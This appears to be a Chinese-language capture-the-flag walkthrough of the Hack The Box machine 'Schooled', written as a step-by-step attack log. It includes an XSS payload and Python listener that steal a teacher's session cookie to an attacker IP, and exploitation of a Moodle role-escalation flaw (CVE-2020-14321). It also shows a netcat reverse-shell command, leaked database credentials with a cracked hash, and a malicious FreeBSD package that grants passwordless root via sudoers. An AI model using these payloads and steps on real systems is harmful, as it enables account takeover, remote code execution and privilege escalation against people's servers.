信息搜集
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.234 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
nmap -sC -sV -p$ports 10.10.10.234 1 ⚙
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-16 08:11 EST
Nmap scan report for schooled.htb (10.10.10.234)
Host is up (0.30s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)
| ssh-hostkey:
| 2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA)
| 256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA)
|_ 256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519)
80/tcp open http Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (FreeBSD) PHP/7.4.15
|_http-title: Schooled - A new kind of educational institute
33060/tcp open mysqlx?
| fingerprint-strings:
| DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
| Invalid message"
| HY000
| LDAPBindReq:
| *Parse error unserializing protobuf message"
| HY000
| oracle-tns:
| Invalid message-frame."
|_ HY000
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.91%I=7%D=11/16%Time=6193AE07%P=x86_64-pc-linux-gnu%r(
SF:NULL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b
SF:\x08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTPO
SF:ptions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\x0
SF:b\x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVer
SF:sionBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,
SF:2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0f
SF:Invalid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0"
SF:)%r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x0
SF:1\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCooki
SF:e,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0b\
SF:x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\
SF:"\x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNeg,
SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x05
SF:\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY
SF:000")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDString
SF:,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b\x
SF:08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"
SF:\x05HY000")%r(LDAPBindReq,46,"\x05\0\0\0\x0b\x08\x05\x1a\x009\0\0\0\x01
SF:\x08\x01\x10\x88'\x1a\*Parse\x20error\x20unserializing\x20protobuf\x20m
SF:essage\"\x05HY000")%r(SIPOptions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LA
SF:NDesk-RC,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TerminalServer,9,"\x05\0\0
SF:\0\x0b\x08\x05\x1a\0")%r(NCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesR
SF:PC,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\
SF:x0fInvalid\x20message\"\x05HY000")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\
SF:x1a\0")%r(WMSRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(oracle-tns,32,
SF:"\x05\0\0\0\x0b\x08\x05\x1a\0%\0\0\0\x01\x08\x01\x10\x88'\x1a\x16Invali
SF:d\x20message-frame\.\"\x05HY000")%r(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\
SF:x1a\0")%r(afp,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x1
SF:0\x88'\x1a\x0fInvalid\x20message\"\x05HY000");
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.45 seconds
发现开放了80端口，我们添加域名到hosts文件，并进行子域名的挖掘
发现存在一个moodle.schooled.htb这个子域
wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -c -H "Host:FUZZ.schooled.htb" --hh 20750 http://10.10.10.234
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.234/
Total requests: 114441
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000162: 200 1 L 5 W 84 Ch "moodle"
^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests...
Total time: 0
Processed Requests: 263
Filtered Requests: 262
Requests/sec.: 0
漏洞利用
我们来到注册页面，并注册一个账号
注册登录成功之后，我们发现数学课程可以订阅
我们订阅并查看老师的留言后发现，他会亲自一个个查看学生的学习情况，不符合要求的会劝退课程，并且要我们填写这个字段才能获取信息MoodleNet profile
我们经查阅发现，Moodle可能存在XSS存储型漏洞，那我们可以运行一个XSS钓鱼脚本，调取老师的cookie值，以下是脚本内容
#!/usr/bin/env python
# POC for cookie stealing through XSS
# Should work with:
<script>
image = new Image();
image.src='http://10.10.14.20:8888/?'+document.cookie;
</script>
# Written by Ahmed Shawky @lnxg33k
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from urlparse import urlparse, parse_qs
from datetime import datetime
class MyHandler(BaseHTTPRequestHandler):
def do_GET(self):
query_components = parse_qs(urlparse(self.path).query)
print ""
print "%s - %s\t%s" % (
datetime.now().strftime("%Y-%m-%d %I:%M %p"),
self.client_address[0],
self.headers['user-agent'])
print "-------------------"*6
for k, v in query_components.items():
print "%s\t\t\t%s" % (k.strip(), v)
# print query_components
# self.send_response(500)
# self.send_header("Content-type", "text/html")
# self.end_headers()
# self.wfile.write(c)
return
def log_message(self, format, *args):
return
if __name__ == "__main__":
try:
server = HTTPServer(('10.10.14.20', 8888), MyHandler)
print('Started http server')
server.serve_forever()
except KeyboardInterrupt:
print('^C received, shutting down server')
server.socket.close()
我们在MoodleNet profile字段里插入我们的XSS的payload字段<img src=x onerror="this.src='http://10.10.14.20:8888/?'+document.cookie; this.removeAttribute('onerror');">
我们等待一段时间后，获取到了老师的cookie值，我们替换cookie值并刷新页面，成功登陆老师的账号
我们在老师的管理页面中发现学员都有这些人
我们在Moodle的官网上发现了一个越权漏洞,(漏洞编号为CVE-2020-14321)，该漏洞是说课程中的教师可以把自己的身份更改为经理
首先我们先把Lianne这个管理员添加到学员列表上
我们发现管理员对应的id值为24
我们点击enrol users进行抓包，并将参数userlist值更改为24，roletoassign值更改为1，最后点击GO查看回显情况
我们发现老师的权限已提升为经理
我们点击进入lianne的个人页面，并点击login in as
我们根据POC的流程来走，点击site administrator页面，点击Users页面，点击define roles，再点击Manager，最后点击edit
下拉到最后，在点击保存之前抓包分析
然后我们用一下代码替换掉上面的内容，只保存sessionkey字段
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发现执行成功
紧接着我们点击install plugins这个按钮上传我们的rce包，这是下载地址https://github.com/HoangKien1020/Moodle_RCE
我们访问如下URL地址后，在cmd参数后面修改为我们自己的命令，发现导致了命令执行
那么沿着这个思路，我们就可以利用这个参数反弹一个shell终端给我们的攻击机上。首先我们先开启本地监听，在执行反弹shell的命令
curl http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.14.20%207777%20%3E%2Ftmp%2Ff
但是我们拿到的是最低的权限
在这个目录中/usr/local/www/apache24/data/moodle，我们找到了php的配置文件，发现了数据库的用户名和密码
我们可以尝试登录数据库，并查看对应的用户列表
/usr/local/bin/mysql -u moodle -pPlaybookMaster2020 moodle
我们发现了存在一个mdl_user表，我们可以查看一下它对应的内容，发现它存在username和password字段
我们可以进一步筛选用户对应的哈希值，获取到admin对应的哈希值为$2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW
我们保存这个哈希值，并使用john进行破解，破解的密码为!QAZ2wsx
我们查看用户列表发现jamie用户可以反弹shell，那我们尝试连接
提权
我们尝试运行sudo -l命令，发现存在这些选项
FreeBSD pkg命令用于添加、删除和升级预编译包。特别是,包裹Update更新存储库数据，而PKG安装从可用的下载和安装包存储库。
我们发现jamie用户同时也存在于wheel组中
该组还具有对/etc/hosts文件的写访问权限
jamie@Schooled:/etc/pkg $ find / -group wheel -perm -020 -ls 2>/dev/null
135501 2 -rw-rw-rw- 1 root wheel 353 Oct 29 10:31 /root/.history
135204 4 -rw-rw-r-- 1 root wheel 1098 Mar 17 2021 /usr/local/etc/hosts
239 4 -rw-rw-r-- 1 root wheel 1098 Mar 17 2021 /etc/hosts
131083 1 srw-rw-rw- 1 root wheel 0 Nov 17 06:55 /var/run/devd.pipe
131084 1 srw-rw-rw- 1 root wheel 0 Nov 17 06:55 /var/run/devd.seqpacket.pipe
131092 1 srw-rw-rw- 1 root wheel 0 Nov 17 06:56 /var/run/log
12 0 crw-rw-rw- 1 root wheel 0xc Nov 17 06:55 /dev/full
13 0 crw-rw-rw- 1 root wheel 0xd Nov 17 09:49 /dev/null
14 0 crw-rw-rw- 1 root wheel 0xe Nov 17 06:55 /dev/zero
16 0 crw-rw-rw- 1 root wheel 0x10 Nov 17 06:55 /dev/fd/0
18 0 crw-rw-rw- 1 root wheel 0x12 Nov 17 06:55 /dev/fd/1
20 0 crw-rw-rw- 1 root wheel 0x14 Nov 17 06:55 /dev/fd/2
22 0 crw-rw-rw- 1 root wheel 0x16 Nov 17 06:55 /dev/midistat
23 0 crw-rw-rw- 1 root wheel 0x17 Nov 17 06:55 /dev/sequencer0
24 0 crw-rw-rw- 1 root wheel 0x18 Nov 17 06:55 /dev/music0
30 0 crw-rw-rw- 1 root wheel 0x1e Nov 17 06:55 /dev/ctty
52 0 crw-rw-rw- 1 root wheel 0x34 Nov 17 06:55 /dev/psm0
53 0 crw-rw-rw- 1 root wheel 0x35 Nov 17 06:55 /dev/bpsm0
60 0 crw-rw-rw- 1 root wheel 0x3c Nov 17 06:55 /dev/crypto
2 21 drwxrwxrwx 6 root wheel 11 Nov 17 07:41 /tmp
136165 1 drwxrwxrwt 2 root wheel 2 Nov 17 06:56 /tmp/.ICE-unix
136252 1 srwxrwxrwx 1 mysql wheel 0 Nov 17 06:56 /tmp/mysql.sock
136243 1 srwxrwxrwx 1 mysql wheel 0 Nov 17 06:56 /tmp/mysqlx.sock
136149 1 drwxrwxrwt 2 root wheel 2 Nov 17 06:56 /tmp/.X11-unix
136159 1 drwxrwxrwt 2 root wheel 2 Nov 17 06:56 /tmp/.XIM-unix
136169 1 drwxrwxrwt 2 root wheel 2 Nov 17 06:56 /tmp/.font-unix
我们发现devops.htb指向的是这个IP地址
我们可以编辑这个条目，以指向我们自己的IP地址，以欺骗pkg更新和安装一个恶意软件包从我们控制的存储库。首先，我们必须创建这样的包和存储库。我们根据本教程创建一个脚本，并将其保存在目标主机的/tmp/pkg/pkg.sh目录下
#!/bin/sh
STAGEDIR=/tmp/stage
rm -rf ${STAGEDIR}
mkdir -p ${STAGEDIR}
cat >> ${STAGEDIR}/+POST_INSTALL <<EOF
echo "Adding sudo entry..."
echo "jamie ALL=(ALL) NOPASSWD: /bin/csh" >> /usr/local/etc/sudoers
EOF
cat >> ${STAGEDIR}/+MANIFEST <<EOF
name: sudo_perms
version: "1.0"
origin: sysutils/sudo_perms
comment: "Add sudo entry"
desc: "Add sudo entry"
maintainer: maintainer@freebsd.htb
www: https://freebsd.htb
prefix: /
EOF
echo "deps: {" >> ${STAGEDIR}/+MANIFEST
pkg query " %n: { version: \"%v\", origin: %o }" portlint >> ${STAGEDIR}/+MANIFEST
pkg query " %n: { version: \"%v\", origin: %o }" poudriere >> ${STAGEDIR}/+MANIFEST
echo "}" >> ${STAGEDIR}/+MANIFEST
touch ${STAGEDIR}/plist
pkg create -m ${STAGEDIR}/ -r ${STAGEDIR}/ -p ${STAGEDIR}/plist -o .
当我们运行完这个脚本时，会生成一个sudo_perms-1.0.txz文件。现在我们可以通过运行pkg repo来创建一个本地存储库。命令在当前目录中
我们在本地创建一个packages文件夹，并将文件都下载到本地里
scp jamie@schooled.htb:/home/jamie/* packages/
我们将hosts文件对应的域名指向我们的IP地址，并在本机上开启http服务器
运行这两个命令
sudo pkg update
sudo pkg install sudo_perms
获取root权限
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